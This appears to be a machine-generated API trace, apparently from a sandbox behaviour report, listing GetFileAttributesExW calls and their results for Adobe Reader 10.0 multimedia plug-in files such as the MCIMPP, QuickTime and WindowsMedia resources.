	[0054.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.sve"), fInfoLevelId=0x0, lpFileInformation=0x123fcf08 | out: lpFileInformation=0x123fcf08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00)) returned 1
	[0054.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.mpp"), fInfoLevelId=0x0, lpFileInformation=0x123fcf58 | out: lpFileInformation=0x123fcf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e00)) returned 1
	[0054.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cat"), fInfoLevelId=0x0, lpFileInformation=0x123fcfa8 | out: lpFileInformation=0x123fcfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.dan"), fInfoLevelId=0x0, lpFileInformation=0x123fcff8 | out: lpFileInformation=0x123fcff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.deu"), fInfoLevelId=0x0, lpFileInformation=0x123fd048 | out: lpFileInformation=0x123fd048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.esp"), fInfoLevelId=0x0, lpFileInformation=0x123fd098 | out: lpFileInformation=0x123fd098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.euq"), fInfoLevelId=0x0, lpFileInformation=0x123fd0e8 | out: lpFileInformation=0x123fd0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.fra"), fInfoLevelId=0x0, lpFileInformation=0x123fd138 | out: lpFileInformation=0x123fd138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ita"), fInfoLevelId=0x0, lpFileInformation=0x123fd188 | out: lpFileInformation=0x123fd188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.475] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.jpn"), fInfoLevelId=0x0, lpFileInformation=0x123fd1d8 | out: lpFileInformation=0x123fd1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00)) returned 1
	[0054.475] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.kor"), fInfoLevelId=0x0, lpFileInformation=0x123fd228 | out: lpFileInformation=0x123fd228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00)) returned 1
	[0054.475] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.nld"), fInfoLevelId=0x0, lpFileInformation=0x123fd278 | out: lpFileInformation=0x123fd278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.475] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.nor"), fInfoLevelId=0x0, lpFileInformation=0x123fd2c8 | out: lpFileInformation=0x123fd2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00)) returned 1
	[0054.475] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.suo"), fInfoLevelId=0x0, lpFileInformation=0x123fd318 | out: lpFileInformation=0x123fd318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00)) returned 1
	[0054.475] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cat"), fInfoLevelId=0x0, lpFileInformation=0x123fd368 | out: lpFileInformation=0x123fd368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.475] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.chs"), fInfoLevelId=0x0, lpFileInformation=0x123fd3b8 | out: lpFileInformation=0x123fd3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.475] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cht"), fInfoLevelId=0x0, lpFileInformation=0x123fd408 | out: lpFileInformation=0x123fd408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.dan"), fInfoLevelId=0x0, lpFileInformation=0x123fd458 | out: lpFileInformation=0x123fd458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.deu"), fInfoLevelId=0x0, lpFileInformation=0x123fd4a8 | out: lpFileInformation=0x123fd4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.esp"), fInfoLevelId=0x0, lpFileInformation=0x123fd4f8 | out: lpFileInformation=0x123fd4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.euq"), fInfoLevelId=0x0, lpFileInformation=0x123fd548 | out: lpFileInformation=0x123fd548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.fra"), fInfoLevelId=0x0, lpFileInformation=0x123fd598 | out: lpFileInformation=0x123fd598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.ita"), fInfoLevelId=0x0, lpFileInformation=0x123fd5e8 | out: lpFileInformation=0x123fd5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.jpn"), fInfoLevelId=0x0, lpFileInformation=0x123fd638 | out: lpFileInformation=0x123fd638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.kor"), fInfoLevelId=0x0, lpFileInformation=0x123fd688 | out: lpFileInformation=0x123fd688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.nld"), fInfoLevelId=0x0, lpFileInformation=0x123fd6d8 | out: lpFileInformation=0x123fd6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.nor"), fInfoLevelId=0x0, lpFileInformation=0x123fd728 | out: lpFileInformation=0x123fd728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.ptb"), fInfoLevelId=0x0, lpFileInformation=0x123fd778 | out: lpFileInformation=0x123fd778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.suo"), fInfoLevelId=0x0, lpFileInformation=0x123fd7c8 | out: lpFileInformation=0x123fd7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.sve"), fInfoLevelId=0x0, lpFileInformation=0x123fd818 | out: lpFileInformation=0x123fd818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.mpp"), fInfoLevelId=0x0, lpFileInformation=0x123fd868 | out: lpFileInformation=0x123fd868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1
	[0054.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cat"), fInfoLevelId=0x0, lpFileInformation=0x123fd8b8 | out: lpFileInformation=0x123fd8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.chs"), fInfoLevelId=0x0, lpFileInformation=0x123fd908 | out: lpFileInformation=0x123fd908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cht"), fInfoLevelId=0x0, lpFileInformation=0x123fd958 | out: lpFileInformation=0x123fd958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.dan"), fInfoLevelId=0x0, lpFileInformation=0x123fd9a8 | out: lpFileInformation=0x123fd9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.deu"), fInfoLevelId=0x0, lpFileInformation=0x123fd9f8 | out: lpFileInformation=0x123fd9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
